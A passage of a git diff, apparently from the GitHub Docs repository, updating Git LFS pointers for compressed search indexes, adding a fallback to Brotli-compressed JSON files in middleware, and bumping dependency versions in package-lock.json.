sha256:c6bb201beef2aae281c572e582360cb7e09a4999a8cf17196ad8ae58dc0db48e +size 1035986 diff --git a/lib/search/indexes/github-docs-3.3-en.json.br b/lib/search/indexes/github-docs-3.3-en.json.br index 7a9ff4aadc..99c11b7e94 100644 --- a/lib/search/indexes/github-docs-3.3-en.json.br +++ b/lib/search/indexes/github-docs-3.3-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:56969f2c7c81006bf4601c5494cedbed2b7fb1c414e74d81ea46e016b12a0312 -size 4167809 +oid sha256:feb4cdec6a2383f98babbad458b0fae9dde2dc80d8377b96b712efc8b1344ba5 +size 4170229 diff --git a/lib/search/indexes/github-docs-3.3-es-records.json.br b/lib/search/indexes/github-docs-3.3-es-records.json.br index c5b3be0ad8..04c5958077 100644 --- a/lib/search/indexes/github-docs-3.3-es-records.json.br +++ b/lib/search/indexes/github-docs-3.3-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:28b830b30b4d03fb666569ab1991e00873ad0c5bf8e544786659e98061df39b1 -size 626891 +oid sha256:97d6289b730ada6884fa6a9aed416155cec0e660a5a8b97ff09495e27984747d +size 626918 diff --git a/lib/search/indexes/github-docs-3.3-es.json.br b/lib/search/indexes/github-docs-3.3-es.json.br index 7ed1157f0c..cdcfc84ef2 100644 --- a/lib/search/indexes/github-docs-3.3-es.json.br +++ b/lib/search/indexes/github-docs-3.3-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:696c8847d1b6fd77f86bd84cd7679ec38b0ec97cf2eece9063de5a7b61aae312 -size 2666359 +oid sha256:c2c3878dd932aa3eae0d7165add21c9064b17e23ffa8b33539efe8f56781be45 +size 2666770 diff --git a/lib/search/indexes/github-docs-3.3-ja-records.json.br b/lib/search/indexes/github-docs-3.3-ja-records.json.br index 8db5cd177e..f279d6e753 100644 --- a/lib/search/indexes/github-docs-3.3-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.3-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:508c7effe09399dffbe8c4bdb4fae646861b74c34ca5a913197fb1f8db1259d3 -size 716241 +oid sha256:ec6d337e5de31ee4eb6a9efca076456e736ab0e45f301693ad00d3ca8b46f69c +size 716605 diff --git a/lib/search/indexes/github-docs-3.3-ja.json.br b/lib/search/indexes/github-docs-3.3-ja.json.br index 6a0985eb2d..b226601470 100644 --- a/lib/search/indexes/github-docs-3.3-ja.json.br +++ b/lib/search/indexes/github-docs-3.3-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:43bbb482c1f1f19369673da6b2113395205c8b275af0666f6b59d68b98ad47eb -size 3733704 +oid sha256:87134981d2351c5fdefbd606b7cbb664f2d1e7cbbd89aa540ded38c6858cac8c +size 3734665 diff --git a/lib/search/indexes/github-docs-3.3-pt-records.json.br b/lib/search/indexes/github-docs-3.3-pt-records.json.br index 4f325e43f6..f37af79b2e 100644 --- a/lib/search/indexes/github-docs-3.3-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.3-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:22a6f3000f1b2f8ebf9ca9f0891db87ad388462558c35d610d98d2abe2db2688 -size 585795 +oid sha256:dfab2d920bdc2bdc2c44afe4bf15a39994387918d25c4ea85e4dc65527da4cff +size 585959 diff --git a/lib/search/indexes/github-docs-3.3-pt.json.br b/lib/search/indexes/github-docs-3.3-pt.json.br index cde011fec3..740a6d5cfb 100644 --- a/lib/search/indexes/github-docs-3.3-pt.json.br +++ b/lib/search/indexes/github-docs-3.3-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d0bc985d1e8ac07463025df61c73ffd31e5b15e07f876816817f06aae7b55236 -size 2415782 +oid sha256:49cd8f43f051007b254178edc8c8405283c6ca96f2445e73a2dd44621972b187 +size 2415784 diff --git a/lib/search/indexes/github-docs-dotcom-cn-records.json.br b/lib/search/indexes/github-docs-dotcom-cn-records.json.br index da6b4b6484..3bacb8ce43 100644 --- a/lib/search/indexes/github-docs-dotcom-cn-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:998421e10c81709c2493014678f087c89bd6c464ec7336b8cdd1d2eaa69ea8c4 -size 903762 +oid sha256:d06092cd9df2ac870363970552096b9a0fed808de8277fd073c95a424fbcfc7e +size 903809 diff --git a/lib/search/indexes/github-docs-dotcom-cn.json.br b/lib/search/indexes/github-docs-dotcom-cn.json.br index 92ea28e90d..dedd80ab17 100644 --- a/lib/search/indexes/github-docs-dotcom-cn.json.br +++ b/lib/search/indexes/github-docs-dotcom-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9f41a4dba2af2a0a07437d954dbc79f78dbc2b8628be086881b04e02b0f39827 -size 1447302 +oid sha256:531aa57401211f4a9f908befd0b71b7b4ff04afb4c6bbb6dd696ec0e5c80e9ba +size 1447186 diff --git a/lib/search/indexes/github-docs-dotcom-en-records.json.br b/lib/search/indexes/github-docs-dotcom-en-records.json.br index d655e0e9a0..3bb57365f9 100644 --- a/lib/search/indexes/github-docs-dotcom-en-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:83c9c7eeb18c179602499c8c3ccd3c5903d4586d695631524ecf9e38b8001489 -size 1327967 +oid sha256:1daf523093f0d7bb900f6eca2fa897b1676dc4ecaf4d3976366b78ebb609787c +size 1328819 diff --git a/lib/search/indexes/github-docs-dotcom-en.json.br b/lib/search/indexes/github-docs-dotcom-en.json.br index a65c94e051..eddddb7c33 100644 --- a/lib/search/indexes/github-docs-dotcom-en.json.br +++ b/lib/search/indexes/github-docs-dotcom-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5c771d778dec53cb35104adcc4c044253c49a149d3f01501257e49b15cd2ef63 -size 5058857 +oid sha256:82bf6c3b02c24b993686bca12a1488298905d3e8a461f74948de4956929f06db +size 5061576 diff --git a/lib/search/indexes/github-docs-dotcom-es-records.json.br b/lib/search/indexes/github-docs-dotcom-es-records.json.br index 546f881a8d..5819f48102 100644 --- a/lib/search/indexes/github-docs-dotcom-es-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c512ab48216ef635e71014f52603b1d195086e17638bd9d2f4f24e44406d75ab -size 804193 +oid sha256:fec9a61968abee06d509d4d211a8172b72ebf86ae393473ced1cb1e03709ce06 +size 804543 diff --git a/lib/search/indexes/github-docs-dotcom-es.json.br b/lib/search/indexes/github-docs-dotcom-es.json.br index 34b7d997a8..2748edb710 100644 --- a/lib/search/indexes/github-docs-dotcom-es.json.br +++ b/lib/search/indexes/github-docs-dotcom-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c2964a6bc092f18511dc05131243b9ab6a1d90d0c3602bb3400a24655de1586a -size 3257496 +oid sha256:f6344997fbbe5c7fa8b61d426ceb6c5d9ee456dbbc39e5b07df1997ff7a7bf61 +size 3257862 diff --git a/lib/search/indexes/github-docs-dotcom-ja-records.json.br b/lib/search/indexes/github-docs-dotcom-ja-records.json.br index ee85fccaf8..f82a7b6e34 100644 --- a/lib/search/indexes/github-docs-dotcom-ja-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:8e99fe7d4e20e7a9736f35450c727ad50b07f7c2f6c30b9b6166581a145bf8b0 -size 930144 +oid sha256:50c7f9f8a944a9f01bd4f44cf6d875a5531932b2874212e07cf48234d25a94a5 +size 930005 diff --git a/lib/search/indexes/github-docs-dotcom-ja.json.br b/lib/search/indexes/github-docs-dotcom-ja.json.br index 374e290b24..8ab44d4606 100644 --- a/lib/search/indexes/github-docs-dotcom-ja.json.br +++ b/lib/search/indexes/github-docs-dotcom-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2605ebaa8ca7ab1aa111391345fc406f6ec065bb9166f02d59ca756b318958f2 -size 4684266 +oid sha256:423d179d607dd22dd23c76dc99ff5c5798bc39e14f1a18a65cca68b794ca93c0 +size 4683792 diff --git a/lib/search/indexes/github-docs-dotcom-pt-records.json.br b/lib/search/indexes/github-docs-dotcom-pt-records.json.br index ab38317511..89c9d0b37e 100644 --- a/lib/search/indexes/github-docs-dotcom-pt-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:374c65b02a54e06be0bc58e5926d27fec8a0b8315ed89aae294920045a02f46a -size 767703 +oid sha256:71d3506c67bd3b7284eab0386f5567736ee8fa11c7e9ebdd478a1f7e21e87977 +size 767626 diff --git a/lib/search/indexes/github-docs-dotcom-pt.json.br b/lib/search/indexes/github-docs-dotcom-pt.json.br index 7cc5d302c0..5aeae4f5ef 100644 --- a/lib/search/indexes/github-docs-dotcom-pt.json.br +++ b/lib/search/indexes/github-docs-dotcom-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:8e1448f090d5e84f5fe060ca5d2ce3f74d5dd4026957f01ad2fffd8e629f8801 -size 3039808 +oid sha256:862a0d959dac5096e0471db9edf9b08783050882d833ddd33a9b34d8fb94e2c6 +size 3040512 diff --git a/lib/search/indexes/github-docs-ghae-cn-records.json.br b/lib/search/indexes/github-docs-ghae-cn-records.json.br index fc55c8584a..c0ab97aaf9 100644 --- a/lib/search/indexes/github-docs-ghae-cn-records.json.br +++ b/lib/search/indexes/github-docs-ghae-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:7d11d8e88060284b645b869dab745eb730377e5a4fb32499458bda5a7e5aae9f -size 518847 +oid sha256:50983d5d14d377ae3dd8a6d54b6be44afed9cfd22846405929e965b5012b872f +size 518897 diff --git a/lib/search/indexes/github-docs-ghae-cn.json.br b/lib/search/indexes/github-docs-ghae-cn.json.br index a272ec3211..b177a9f2c5 100644 --- a/lib/search/indexes/github-docs-ghae-cn.json.br +++ b/lib/search/indexes/github-docs-ghae-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3778c38372a95f30fa303b4d5681e2495941634b5ccf1d3e1efd488976fc424a -size 879736 +oid sha256:e1c639d4e1294fa61dd1a94fca9affc0950e3438e6745fe26ede73026a4d48ec +size 880021 diff --git a/lib/search/indexes/github-docs-ghae-en-records.json.br b/lib/search/indexes/github-docs-ghae-en-records.json.br index aefba558ff..e6e461eace 100644 --- a/lib/search/indexes/github-docs-ghae-en-records.json.br +++ b/lib/search/indexes/github-docs-ghae-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:7dbaa5a67d05c1256df68303e4e845b67797a97aadc85d72a4ca2032bf89da2f -size 801726 +oid sha256:0f6580ed7764ec77248a30cb495297c4721df4d034198be4a4f557246b80b720 +size 801873 diff --git a/lib/search/indexes/github-docs-ghae-en.json.br b/lib/search/indexes/github-docs-ghae-en.json.br index 2d833fd680..a94d4ec459 100644 --- a/lib/search/indexes/github-docs-ghae-en.json.br +++ b/lib/search/indexes/github-docs-ghae-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4e408d0ea9eebc8861838d08e30896c3947e72f5a184a959a9fa01cdf3eae52f -size 3217528 +oid sha256:3435dd481f694b3b507230744e1af628ed413e539740104b297b328bca1ffc6b +size 3215920 diff --git a/lib/search/indexes/github-docs-ghae-es-records.json.br b/lib/search/indexes/github-docs-ghae-es-records.json.br index 68b061c367..afa93648c8 100644 --- a/lib/search/indexes/github-docs-ghae-es-records.json.br +++ b/lib/search/indexes/github-docs-ghae-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ebbe9b4b3d98f13e582bf778a09966662f2c0d26f71092abc7e525ce50741842 -size 473485 +oid sha256:0fb1948796b44cfb99e41dbe17ca300725c243efa5e592a122c8c225ec5bc74f +size 473645 diff --git a/lib/search/indexes/github-docs-ghae-es.json.br b/lib/search/indexes/github-docs-ghae-es.json.br index 27160327e3..7e509e768f 100644 --- a/lib/search/indexes/github-docs-ghae-es.json.br +++ b/lib/search/indexes/github-docs-ghae-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:42ec0a6393cc4b4a50dafe7aee2811f244738cd06109d0d3f51cfed0f616b8cf -size 1924691 +oid sha256:b26659b4c2ac79e9ecad609d77748e3be7a67fb116e25efd2cad2c3818c32c78 +size 1925165 diff --git a/lib/search/indexes/github-docs-ghae-ja-records.json.br b/lib/search/indexes/github-docs-ghae-ja-records.json.br index 12c356b616..17ed15f62d 100644 --- a/lib/search/indexes/github-docs-ghae-ja-records.json.br +++ b/lib/search/indexes/github-docs-ghae-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:133be941684f12ed66cbea268cbb488aeecc53a71cc2f626c599f2e4010ff0e4 -size 539309 +oid sha256:635f3c5d4a658247cc66d28c4206664cd430c1738531506258033d0e34eae4cb +size 539304 diff --git a/lib/search/indexes/github-docs-ghae-ja.json.br b/lib/search/indexes/github-docs-ghae-ja.json.br index 59d4eb7e43..073fd4bc8a 100644 --- a/lib/search/indexes/github-docs-ghae-ja.json.br +++ b/lib/search/indexes/github-docs-ghae-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9453c7230a2a461ffd82e3fcb43100c7fa892beea2a068e83cd72a6bd650a752 -size 2696300 +oid sha256:261e38104687e2ae67b7e91734df4b30b0f8c595b1a81fb3900ebaa1cd74e68c +size 2696287 diff --git a/lib/search/indexes/github-docs-ghae-pt-records.json.br b/lib/search/indexes/github-docs-ghae-pt-records.json.br index e32d8fe762..7a5c574544 100644 --- a/lib/search/indexes/github-docs-ghae-pt-records.json.br +++ b/lib/search/indexes/github-docs-ghae-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:cf5a79bbf7c0050f72aa2d188b8d80b4dddcc49f46e7fbf096d7db4580a005bb -size 441838 +oid sha256:f8f4b9e05c8d6f0fa6de46558a638573898955e4a7e8c709d5036770071c6a53 +size 441999 diff --git a/lib/search/indexes/github-docs-ghae-pt.json.br b/lib/search/indexes/github-docs-ghae-pt.json.br index e24c5faa39..e72d39ee62 100644 --- a/lib/search/indexes/github-docs-ghae-pt.json.br +++ b/lib/search/indexes/github-docs-ghae-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:b94788f65cfcd9f9573485de9948c77d4753ea743e9eb79f1da863b1eeeabcb5 -size 1753413 +oid sha256:4a11eb8e507a1cc2dd0bb5d80eae7a771ab39313c2e6314a93767e595d85eb26 +size 1753609 diff --git a/lib/search/indexes/github-docs-ghec-cn-records.json.br b/lib/search/indexes/github-docs-ghec-cn-records.json.br index a1d67f1760..43c00bd5f9 100644 --- a/lib/search/indexes/github-docs-ghec-cn-records.json.br +++ b/lib/search/indexes/github-docs-ghec-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:b202ee966b1982fdf1def01902bfcb6faeb7683e54c7b29dd51f0f348062a73c -size 801691 +oid sha256:22ec43020b0f6797e776c0eb3a9f04d9c2b4c96783655233c479ffebf38391b5 +size 801481 diff --git a/lib/search/indexes/github-docs-ghec-cn.json.br b/lib/search/indexes/github-docs-ghec-cn.json.br index 32a7eb64fe..48d9199ec7 100644 --- a/lib/search/indexes/github-docs-ghec-cn.json.br +++ b/lib/search/indexes/github-docs-ghec-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2c37bd6dc4f9131b62b49095b36f28f330e03c048760af260dfa59a9223219c2 -size 1447494 +oid sha256:278c5e0a7a03be47e35663637e0e34e4d194a5f25b283486468cabdc5a1901a7 +size 1447063 diff --git a/lib/search/indexes/github-docs-ghec-en-records.json.br b/lib/search/indexes/github-docs-ghec-en-records.json.br index dad0027276..3fbe26501e 100644 --- a/lib/search/indexes/github-docs-ghec-en-records.json.br +++ b/lib/search/indexes/github-docs-ghec-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:aaa510b28777e795d9f3a6dd6b81217a8e6706abf2e0a19d4a50bc6312711d1b -size 1175802 +oid sha256:c89fdf41c10a7de897d53713bdd51cd3326ed0bc708493f2e5d76fa39cb8ca26 +size 1177815 diff --git a/lib/search/indexes/github-docs-ghec-en.json.br b/lib/search/indexes/github-docs-ghec-en.json.br index a53d237cb4..d124c6f787 100644 --- a/lib/search/indexes/github-docs-ghec-en.json.br +++ b/lib/search/indexes/github-docs-ghec-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:645abde7bc62045eef7524f4f601f289cd62ef232fca5e05f8b40002e6690a5b -size 4732434 +oid sha256:1d639352ccecaeb2986c065ca2ede9eb910b0ea00c0bdf0f87be1bc762c9c60e +size 4737594 diff --git a/lib/search/indexes/github-docs-ghec-es-records.json.br b/lib/search/indexes/github-docs-ghec-es-records.json.br index c0c714cd5e..7c43c2a4a2 100644 --- a/lib/search/indexes/github-docs-ghec-es-records.json.br +++ b/lib/search/indexes/github-docs-ghec-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:b5a209d2b32d075a554dc9784936aaa554cac851752338a2267cd9299dc240d0 -size 736362 +oid sha256:5016c172015b474bc5f8ede7f12a13a437c3b0f0fc227ed34235e1352930f857 +size 736379 diff --git a/lib/search/indexes/github-docs-ghec-es.json.br b/lib/search/indexes/github-docs-ghec-es.json.br index 3b7bad55d4..4665d40108 100644 --- a/lib/search/indexes/github-docs-ghec-es.json.br +++ b/lib/search/indexes/github-docs-ghec-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3531e1487ca375a9cacd6cdffb452d43835bbe07a3e127a4ce849c4ca94f43e5 -size 3133478 +oid sha256:511d2417987f0917cc799e333d12fc1ce203467f31b464b02a23f4e0745e9400 +size 3134827 diff --git a/lib/search/indexes/github-docs-ghec-ja-records.json.br b/lib/search/indexes/github-docs-ghec-ja-records.json.br index f6f2ce24cf..8f05ac3824 100644 --- a/lib/search/indexes/github-docs-ghec-ja-records.json.br +++ b/lib/search/indexes/github-docs-ghec-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d835da628f4bcf85737bf41b27f26b20ddfe87b64e2823c8974e94e244892f93 -size 831723 +oid sha256:9e368e62b14908a8a80ea9da768f33538eed127f7e4f78dbf972726474431cf1 +size 831395 diff --git a/lib/search/indexes/github-docs-ghec-ja.json.br b/lib/search/indexes/github-docs-ghec-ja.json.br index 535dfbe2ee..6a5dff15e8 100644 --- a/lib/search/indexes/github-docs-ghec-ja.json.br +++ b/lib/search/indexes/github-docs-ghec-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c399f0704a00950ac29c49d7d794b3829cf41736b96bcd72f5ab18441a1d062f -size 4394157 +oid sha256:e02c0718bbbad4b384013862b29ec4f3416a5f895552c5f60ca69f31e0410e60 +size 4393494 diff --git a/lib/search/indexes/github-docs-ghec-pt-records.json.br b/lib/search/indexes/github-docs-ghec-pt-records.json.br index ae63d4825f..8e7c5c5cbe 100644 --- a/lib/search/indexes/github-docs-ghec-pt-records.json.br +++ b/lib/search/indexes/github-docs-ghec-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5cc765730541ef632c81264fb77cd7a1789746c10a480362eff06868d097db95 -size 706740 +oid sha256:dae7c6ca76f9effdf1042bcffd0a5b691dc1ee973d63624d1f1f17d9a16c5130 +size 706692 diff --git a/lib/search/indexes/github-docs-ghec-pt.json.br b/lib/search/indexes/github-docs-ghec-pt.json.br index 2a5b9204c7..067eb4317f 100644 --- a/lib/search/indexes/github-docs-ghec-pt.json.br +++ b/lib/search/indexes/github-docs-ghec-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:cfbb890dfab0305bf97b84f858bf8c1297f229a81029bd94f5705f64a45a1280 -size 2944705 +oid sha256:1ad258b1c3f842410b26b0eb7ac7cd73b6a20c06078bb1267de2a717a9f8df9a +size 2944583 diff --git a/middleware/archived-enterprise-versions.js b/middleware/archived-enterprise-versions.js index 2c9a0d57af..3ea3889996 100644 --- a/middleware/archived-enterprise-versions.js +++ b/middleware/archived-enterprise-versions.js @@ -9,15 +9,34 @@ import patterns from '../lib/patterns.js' import versionSatisfiesRange from '../lib/version-satisfies-range.js' import isArchivedVersion from '../lib/is-archived-version.js' import got from 'got' -import readJsonFile from '../lib/read-json-file.js' +import { readCompressedJsonFileFallback } from '../lib/read-json-file.js' import { cacheControlFactory } from './cache-control.js' function readJsonFileLazily(xpath) { const cache = new Map() // This will throw if the file isn't accessible at all, e.g. ENOENT - fs.accessSync(xpath) + // But, the file might have been replaced by one called `SAMENAME.json.br` + // because in staging, we ship these files compressed to make the + // deployment faster. So, in our file-presence check, we need to + // account for that. + try { + fs.accessSync(xpath) + } catch (err) { + if (err.code === 'ENOENT') { + try { + fs.accessSync(xpath + '.br') + } catch (err) { + if (err.code === 'ENOENT') { + throw new Error(`Neither ${xpath} nor ${xpath}.br is accessible`) + } + throw err + } + } else { + throw err + } + } return () => { - if (!cache.has(xpath)) cache.set(xpath, readJsonFile(xpath)) + if (!cache.has(xpath)) cache.set(xpath, readCompressedJsonFileFallback(xpath)) return cache.get(xpath) } } diff --git a/middleware/contextualizers/graphql.js b/middleware/contextualizers/graphql.js index 157553b92a..01681fd634 100644 --- a/middleware/contextualizers/graphql.js +++ b/middleware/contextualizers/graphql.js @@ -1,12 +1,14 @@ -import fs from 'fs' -import path from 'path' -import readJsonFile from '../../lib/read-json-file.js' +import { readCompressedJsonFileFallback } from '../../lib/read-json-file.js' import { allVersions } from '../../lib/all-versions.js' -const previews = readJsonFile('./lib/graphql/static/previews.json') -const upcomingChanges = readJsonFile('./lib/graphql/static/upcoming-changes.json') -const changelog = readJsonFile('./lib/graphql/static/changelog.json') -const prerenderedObjects = readJsonFile('./lib/graphql/static/prerendered-objects.json') -const prerenderedInputObjects = readJsonFile('./lib/graphql/static/prerendered-input-objects.json') +const previews = readCompressedJsonFileFallback('./lib/graphql/static/previews.json') +const upcomingChanges = readCompressedJsonFileFallback('./lib/graphql/static/upcoming-changes.json') +const changelog = readCompressedJsonFileFallback('./lib/graphql/static/changelog.json') +const prerenderedObjects = readCompressedJsonFileFallback( + './lib/graphql/static/prerendered-objects.json' +) +const prerenderedInputObjects = readCompressedJsonFileFallback( + './lib/graphql/static/prerendered-input-objects.json' +) const explorerUrl = process.env.NODE_ENV === 'production' @@ -27,8 +29,8 @@ export default function graphqlContext(req, res, next) { const graphqlVersion = currentVersionObj.miscVersionName req.context.graphql = { - schemaForCurrentVersion: JSON.parse( - fs.readFileSync(path.join(process.cwd(), `lib/graphql/static/schema-${graphqlVersion}.json`)) + schemaForCurrentVersion: readCompressedJsonFileFallback( + `lib/graphql/static/schema-${graphqlVersion}.json` ), previewsForCurrentVersion: previews[graphqlVersion], upcomingChangesForCurrentVersion: upcomingChanges[graphqlVersion], diff --git a/package-lock.json b/package-lock.json index 5fe905c020..6a9473ed6a 100644 --- a/package-lock.json +++ b/package-lock.json @@ -98,7 +98,7 @@ "@babel/core": "^7.16.0", "@babel/eslint-parser": "^7.16.3", "@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-runtime": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", "@babel/preset-env": "^7.16.0", "@graphql-inspector/core": "^2.9.0", "@graphql-tools/load": "^7.4.1", @@ -111,13 +111,13 @@ "@types/react": "^17.0.34", "@types/react-dom": "^17.0.11", "@types/react-syntax-highlighter": "^13.5.2", - "@types/uuid": "^8.3.1", + "@types/uuid": "^8.3.3", "@typescript-eslint/eslint-plugin": "^4.33.0", "@typescript-eslint/parser": "^4.31.1", "async": "^3.2.2", "await-sleep": "0.0.1", "babel-loader": "^8.2.3", - "babel-plugin-styled-components": "^1.13.3", + "babel-plugin-styled-components": "^2.0.2", "babel-preset-env": "^1.7.0", "bottleneck": "^2.19.5", "chalk": "^4.1.2", @@ -146,10 +146,10 @@ "image-size": "^1.0.0", "japanese-characters": "^1.1.0", "javascript-stringify": "^2.1.0", - "jest": "^27.3.1", + "jest": "^27.4.3", "jest-github-actions-reporter": "^1.0.3", "jest-slow-test-reporter": "^1.0.0", - "linkinator": "^2.16.1", + "linkinator": "^2.16.2", "lint-staged": "^11.2.6", "make-promises-safe": "^5.1.0", "minimatch": "^3.0.4", @@ -161,7 +161,7 @@ "npm-merge-driver-install": "^2.0.1", "object-hash": "^2.2.0", "postcss": "^8.3.11", - "prettier": "^2.4.1", + "prettier": "^2.5.0", "replace": "^1.2.1", "rimraf": "^3.0.2", "robots-parser": "^2.3.0", @@ -1227,9 +1227,9 @@ } }, "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.14.5.tgz", - "integrity": "sha512-u6OXzDaIXjEstBRRoBCQ/uKQKlbuaeE5in0RvWdA4pN6AhqxTIwUsnHPU1CFZA/amYObMsuWhYfRl3Ch90HD0Q==", + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.16.0.tgz", + "integrity": "sha512-Xv6mEXqVdaqCBfJFyeab0fH2DnUoMsDmhamxsSi4j8nLd4Vtw213WMJr55xxqipC/YVWyPY3K0blJncPYji+dQ==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" @@ -1639,16 +1639,16 @@ } }, "node_modules/@babel/plugin-transform-runtime": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.0.tgz", - "integrity": "sha512-zlPf1/XFn5+vWdve3AAhf+Sxl+MVa5VlwTwWgnLx23u4GlatSRQJ3Eoo9vllf0a9il3woQsT4SK+5Z7c06h8ag==", + "version": "7.16.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.4.tgz", + "integrity": "sha512-pru6+yHANMTukMtEZGC4fs7XPwg35v8sj5CIEmE+gEkFljFiVJxEWxx/7ZDkTK+iZRYo1bFXBtfIN95+K3cJ5A==", "dev": true, "dependencies": { "@babel/helper-module-imports": "^7.16.0", "@babel/helper-plugin-utils": "^7.14.5", - "babel-plugin-polyfill-corejs2": "^0.2.3", - "babel-plugin-polyfill-corejs3": "^0.3.0", - "babel-plugin-polyfill-regenerator": "^0.2.3", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.4.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", "semver": "^6.3.0" }, "engines": { @@ -1658,6 +1658,64 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-transform-runtime/node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.0.tgz", + "integrity": "sha512-7hfT8lUljl/tM3h+izTX/pO3W3frz2ok6Pk+gzys8iJqDfZrZy2pXjRTZAvG2YmfHun1X4q8/UZRLatMfqc5Tg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.0.tgz", + "integrity": "sha512-wMDoBJ6uG4u4PNFh72Ty6t3EgfA91puCuAwKIazbQlci+ENb/UU9A3xG5lutjUIiXCIn1CY5L15r9LimiJyrSA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.3.0", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.4.0.tgz", + "integrity": "sha512-YxFreYwUfglYKdLUGvIF2nJEsGwj+RhWSX/ije3D2vQPOXuyMLMtg/cCGMDpOA7Nd+MwlNdnGODbd2EwUZPlsw==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.0", + "core-js-compat": "^3.18.0" + }, + "peerDependencies": { + "@babel/core": 